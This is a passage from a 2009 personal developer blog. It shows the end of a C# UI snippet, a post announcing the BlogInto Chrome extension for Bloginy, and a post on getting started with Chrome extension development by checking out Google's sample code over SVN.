        previous.IsEnabled = false;
        NetworkError.Visibility = System.Windows.Visibility.Visible;
        ResetUI();
    }
}

You can download the application and the source code from here http://web.martani.net/bloginto7

BlogInto, The First Google Chrome Extension For Bloginy

2009-12-12T18:17:00.001+01:00

BlogInto has been around for a while as a standard Windows application or a Windows 7 specific version, today it is going public as a Google Chrome extension too.

It is so basic for now and it is the result of less than 2 hours playing around with the extensions’ APIs and specifications, if you want to play around with them too, make sure you take a look at the post about developing Google Chrome extensions I posted yesterday.

You can install it directly from here : https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak and of course the source code is public, you can view it using the Chrome developer tools –this is how to do it : [link]-.

Well,I hope you like it, and I would be happy to hear your feedback about any issues and problems with the extension, also any suggestions about features to include are welcome too.

Develop Google Chrome Extensions, SVN ‘em All Now

2009-12-11T21:33:00.002+01:00

The buzz these days is all about Google Chrome extensions, you can check the directory of the available extensions here https://chrome.google.com/extensions/, you can even publish you own extensions on the same website.
If you want to develop for Google Chrome extensions, you will be so pleased if you already know JavaScript, the extensions are some sort of JavaScript pages (frames) that interact with a variety of APIs.
The Google Extensions website for developers on Google Code -http://code.google.com/chrome/extensions/getstarted.html- is really amazing (as all the other products explained by Google) and it’s too detailed and simple to follow and start getting your hands on the Chrome extensions.
After a while you will need to try out the examples they provide, and the best way is to checkout their ready-to-run samples using you favorite SVN tool, here I use TortoiseSVN for Windows and it’s working pretty cool.
In your favorite directory, right click in a free space and choose SVN Checkout.

On the next window, choose http://src.chromium.org/svn/trunk/src/chrome/common/extensions/docs/examples/ as the repository URL and there you go.

You get 3 folders : API, extensions and tutorials, inside the api folder you get all the examples of the api exposed by the Google Chrome extensions. The extensions folder contains 6 ready to use extensions which includes Gmail, Mappy, News and more.
This is a simple Twitter feed reader I coded in less than 15 minutes :) http://twitpic.com/t31pp If you created something cool, let me know about it in the comments.